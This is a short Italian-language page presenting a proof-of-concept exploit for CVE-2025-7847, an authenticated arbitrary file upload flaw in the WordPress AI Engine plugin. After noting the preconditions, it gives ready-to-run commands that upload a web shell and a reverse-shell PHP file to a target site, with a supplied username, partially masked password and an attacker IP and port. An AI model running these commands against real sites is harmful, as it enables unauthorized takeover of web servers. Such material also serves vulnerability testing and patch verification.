CVE-2025-7847 Plugin WordPress - POC di Caricamento Arbitrario di File da Abbonato Autenticato

Plugin WordPress AI Engine 2.9.3 - 2.9.4 - Prova di Concetto

Si prega di notare che questa vulnerabilità può essere sfruttata solo se l’opzione “Public API” è abilitata, che è disabilitata per impostazione predefinita, e se non è configurato alcun Bearer Token, né è aggiunta e utilizzata autenticazione personalizzata per proteggere l’API.

Versione automatizzata

python3 exploit-auto.py --url "http://target.com" --username "Admin" --password "L87*********C4u" --file reverse.php --attacker-ip 127.0.0.1 --attacker-port 4444

Solo caricamento Web Shell

python3 exploit.py \                                                                                                                          
  --url "http://target.com/" \
  --username "Admin" \
  --password "L87*********C4u" \
  --file shell.php